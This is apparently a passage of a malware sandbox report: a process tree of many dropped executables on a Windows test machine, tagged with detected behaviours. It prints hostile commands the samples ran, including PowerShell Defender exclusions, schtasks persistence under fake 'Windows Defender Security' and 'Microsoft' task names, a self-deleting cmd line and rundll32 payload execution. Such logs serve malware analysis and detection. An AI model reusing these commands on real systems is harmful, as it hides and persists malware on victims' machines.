C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"26⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y27⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y28⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y27⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y28⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"27⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y28⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y29⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y28⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y29⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"28⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y29⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y30⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y29⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y30⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"29⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y30⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y31⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y30⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y31⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"30⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y31⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y32⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y31⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y32⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"31⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y32⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y33⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y32⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y33⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"32⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y33⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y34⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y33⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y34⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"33⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y34⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y35⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y34⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y35⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"34⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y35⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y36⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y35⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y36⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"35⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y36⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y37⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y36⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y37⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"36⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y37⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y38⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y37⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y38⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"37⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y38⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y39⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y38⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y39⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"38⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y39⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y40⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y39⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y40⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"39⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\net.exenet stop termservice /y40⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop termservice /y41⤵
-
-
-
C:\Windows\SYSTEM32\net.exenet start termservice /y40⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start termservice /y41⤵
-
-
-
C:\Program Files\RDP Wrapper\RDP_CnC.exe"C:\Program Files\RDP Wrapper\RDP_CnC.exe"40⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\LRCnaco7v7VKgmM.exe"C:\Users\Admin\AppData\Local\Temp\Files\LRCnaco7v7VKgmM.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Files\LRCnaco7v7VKgmM.exe"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\Files\LRCnaco7v7VKgmM.exe"C:\Users\Admin\AppData\Local\Temp\Files\LRCnaco7v7VKgmM.exe"4⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\rickroll.exe"C:\Users\Admin\AppData\Local\Temp\Files\rickroll.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ver.exe"C:\Users\Admin\AppData\Local\Temp\Files\ver.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\LOIC.exe"C:\Users\Admin\AppData\Local\Temp\Files\LOIC.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ExtremeInjector.exe"C:\Users\Admin\AppData\Local\Temp\Files\ExtremeInjector.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\NLxHm2QLwG0rMot.exe"C:\Users\Admin\AppData\Local\Temp\Files\NLxHm2QLwG0rMot.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Files\NLxHm2QLwG0rMot.exe"4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\Files\NLxHm2QLwG0rMot.exe"C:\Users\Admin\AppData\Local\Temp\Files\NLxHm2QLwG0rMot.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\Files\NLxHm2QLwG0rMot.exe"5⤵
-
C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 36⤵
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Client-built.exe"C:\Users\Admin\AppData\Local\Temp\Files\Client-built.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Microsoft" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Application Frame Host.exe" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Roaming\SubDir\Application Frame Host.exe"C:\Users\Admin\AppData\Roaming\SubDir\Application Frame Host.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Microsoft" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Application Frame Host.exe" /rl HIGHEST /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\xx.exe"C:\Users\Admin\AppData\Local\Temp\Files\xx.exe"3⤵
- Downloads MZ/PE file
- Executes dropped EXE
- Enumerates connected drives
- Drops autorun.inf file
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Users\Admin\AppData\Local\Temp\1_240918734.exe"C:\Users\Admin\AppData\Local\Temp\1_240918734.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
-
-
C:\Users\Admin\AppData\Local\Temp\2_240919718.exe"C:\Users\Admin\AppData\Local\Temp\2_240919718.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\3_240920796.exe"C:\Users\Admin\AppData\Local\Temp\3_240920796.exe"4⤵
- Downloads MZ/PE file
- Executes dropped EXE
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\4_240924828.exe"C:\Users\Admin\AppData\Local\Temp\4_240924828.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\syshost.exe"C:\Users\Admin\AppData\Roaming\syshost.exe"5⤵
- Executes dropped EXE
- Drops file in Windows directory
-
-
-
C:\Users\Admin\AppData\Local\Temp\5_240925953.exe"C:\Users\Admin\AppData\Local\Temp\5_240925953.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"5⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /sc minute /tn "Windows Defender Security" /tr "C:\Users\Admin\AppData\Local\Temp\5_240925953.exe"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\6_240926734.exe"C:\Users\Admin\AppData\Local\Temp\6_240926734.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-7Z6UEVFAAS.tmp\6_240926734.tmp"C:\Users\Admin\AppData\Local\Temp\is-7Z6UEVFAAS.tmp\6_240926734.tmp" /SL5="$1103FA,3902226,836608,C:\Users\Admin\AppData\Local\Temp\6_240926734.exe"5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\6_240926734.exe"C:\Users\Admin\AppData\Local\Temp\6_240926734.exe" /VERYSILENT /PASSWORD=6fff13a7-7f85-452a-9e6b-49b7a76494d26⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-MWEHYRAQ4J.tmp\6_240926734.tmp"C:\Users\Admin\AppData\Local\Temp\is-MWEHYRAQ4J.tmp\6_240926734.tmp" /SL5="$1203FA,3902226,836608,C:\Users\Admin\AppData\Local\Temp\6_240926734.exe" /VERYSILENT /PASSWORD=6fff13a7-7f85-452a-9e6b-49b7a76494d27⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
-
C:\ProgramData\ea51b1e7-ea9a-487b-9fa7-124d9bcd58dd\FnHotkeyUtility.exe"C:\ProgramData\ea51b1e7-ea9a-487b-9fa7-124d9bcd58dd\FnHotkeyUtility.exe" -ScanType8⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7_240929203.exe"C:\Users\Admin\AppData\Local\Temp\7_240929203.exe"4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\clean.exe"C:\Users\Admin\AppData\Local\Temp\Files\clean.exe"3⤵
- Enumerates VirtualBox registry keys
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Looks for VMWare services registry key.
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ZJQPPAJN.exe"C:\Users\Admin\AppData\Local\Temp\Files\ZJQPPAJN.exe"3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\PReflector64.exe"C:\Users\Admin\AppData\Local\Temp\PReflector64.exe"4⤵
- System Location Discovery: System Language Discovery
-
C:\ProgramData\bnv_Valid\PReflector64.exeC:\ProgramData\bnv_Valid\PReflector64.exe5⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\SignHandler.exeC:\Users\Admin\AppData\Local\SignHandler.exe6⤵
-
-
C:\Users\Admin\AppData\Roaming\bnv_Valid\XPFix.exe"C:\Users\Admin\AppData\Roaming\bnv_Valid\XPFix.exe" "C:\Users\Admin\AppData\Roaming\bnv_Valid\XPFix.exe" /u6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\vnc.exe"C:\Users\Admin\AppData\Local\Temp\Files\vnc.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\compiled.exe"C:\Users\Admin\AppData\Local\Temp\Files\compiled.exe"3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\Files\compiled.exe"C:\Users\Admin\AppData\Local\Temp\Files\compiled.exe"4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\5.exe"C:\Users\Admin\AppData\Local\Temp\Files\5.exe"3⤵
- Adds Run key to start application
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\1223.exe"C:\Users\Admin\AppData\Local\Temp\Files\1223.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Yellow%20Pages%20Scraper.exe"C:\Users\Admin\AppData\Local\Temp\Files\Yellow%20Pages%20Scraper.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe"C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe"3⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2972 -s 17004⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\javaw.exe"C:\Users\Admin\AppData\Local\Temp\Files\javaw.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\PowerRat.exe"C:\Users\Admin\AppData\Local\Temp\Files\PowerRat.exe"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\AppData\Local\Temp\Files\fontdrvhost.exe"C:\Users\Admin\AppData\Local\Temp\Files\fontdrvhost.exe"3⤵
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\Dllhost.exe"C:\Windows\SysWOW64\Dllhost.exe"4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\pcfxfBJLlyuaL81.exe"C:\Users\Admin\AppData\Local\Temp\Files\pcfxfBJLlyuaL81.exe"3⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Files\pcfxfBJLlyuaL81.exe"4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\pcfxfBJLlyuaL81.exe"C:\Users\Admin\AppData\Local\Temp\Files\pcfxfBJLlyuaL81.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\pcfxfBJLlyuaL81.exe"C:\Users\Admin\AppData\Local\Temp\Files\pcfxfBJLlyuaL81.exe"4⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- outlook_office_path
- outlook_win_path
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\game.exe"C:\Users\Admin\AppData\Local\Temp\Files\game.exe"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\xblkpfZ8Y4.exe"C:\Users\Admin\AppData\Local\Temp\Files\xblkpfZ8Y4.exe"3⤵
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\AppData\Local\Temp\Files\AutoGuarder_2.3.7.350.exe"C:\Users\Admin\AppData\Local\Temp\Files\AutoGuarder_2.3.7.350.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\rod_en_1.exe"C:\Users\Admin\AppData\Local\Temp\Files\rod_en_1.exe"3⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\RMO_SE~2.EXEC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\RMO_SE~2.EXE /PARENT-INST4⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-MD09B.tmp\is-C0NDU.tmp"C:\Users\Admin\AppData\Local\Temp\is-MD09B.tmp\is-C0NDU.tmp" /SL4 $30516 "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\RMO_SE~2.EXE" 766219 51712 /PARENT-INST5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\test.exe"C:\Users\Admin\AppData\Local\Temp\Files\test.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\standalone_payload.exe"C:\Users\Admin\AppData\Local\Temp\Files\standalone_payload.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c rundll32.exe lib32.dll payload4⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe lib32.dll payload5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\CFXBypass.exe"C:\Users\Admin\AppData\Local\Temp\Files\CFXBypass.exe"3⤵
-
C:\Users\Admin\AppData\Local\7c584ae4-4c62-4a05-acb4-11caeb88fc7d\background.exe"C:\Users\Admin\AppData\Local\7c584ae4-4c62-4a05-acb4-11caeb88fc7d\background.exe"4⤵
-
C:\Users\Admin\AppData\Local\7c584ae4-4c62-4a05-acb4-11caeb88fc7d\background.exeC:\Users\Admin\AppData\Local\7c584ae4-4c62-4a05-acb4-11caeb88fc7d\background.exe5⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default"6⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff98868dcf8,0x7ff98868dd04,0x7ff98868dd107⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1884,i,18026885708221240718,10161939542316446621,262144 --variations-seed-version=20251015-090059.375000 --mojo-platform-channel-handle=1880 /prefetch:27⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1360,i,18026885708221240718,10161939542316446621,262144 --variations-seed-version=20251015-090059.375000 --mojo-platform-channel-handle=2064 /prefetch:117⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2288,i,18026885708221240718,10161939542316446621,262144 --variations-seed-version=20251015-090059.375000 --mojo-platform-channel-handle=2320 /prefetch:137⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3188,i,18026885708221240718,10161939542316446621,262144 --variations-seed-version=20251015-090059.375000 --mojo-platform-channel-handle=3200 /prefetch:17⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3224,i,18026885708221240718,10161939542316446621,262144 --variations-seed-version=20251015-090059.375000 --mojo-platform-channel-handle=3248 /prefetch:17⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3168,i,18026885708221240718,10161939542316446621,262144 --variations-seed-version=20251015-090059.375000 --mojo-platform-channel-handle=4396 /prefetch:97⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4552,i,18026885708221240718,10161939542316446621,262144 --variations-seed-version=20251015-090059.375000 --mojo-platform-channel-handle=4564 /prefetch:17⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default"6⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x2e4,0x2e8,0x2ec,0x2e0,0x36c,0x7ff984acf208,0x7ff984acf214,0x7ff984acf2207⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1712,i,8671592497915938234,6373895038459054377,262144 --variations-seed-version --mojo-platform-channel-handle=2644 /prefetch:117⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2524,i,8671592497915938234,6373895038459054377,262144 --variations-seed-version --mojo-platform-channel-handle=2508 /prefetch:27⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2112,i,8671592497915938234,6373895038459054377,262144 --variations-seed-version --mojo-platform-channel-handle=2692 /prefetch:137⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3404,i,8671592497915938234,6373895038459054377,262144 --variations-seed-version --mojo-platform-channel-handle=3436 /prefetch:17⤵
-
-
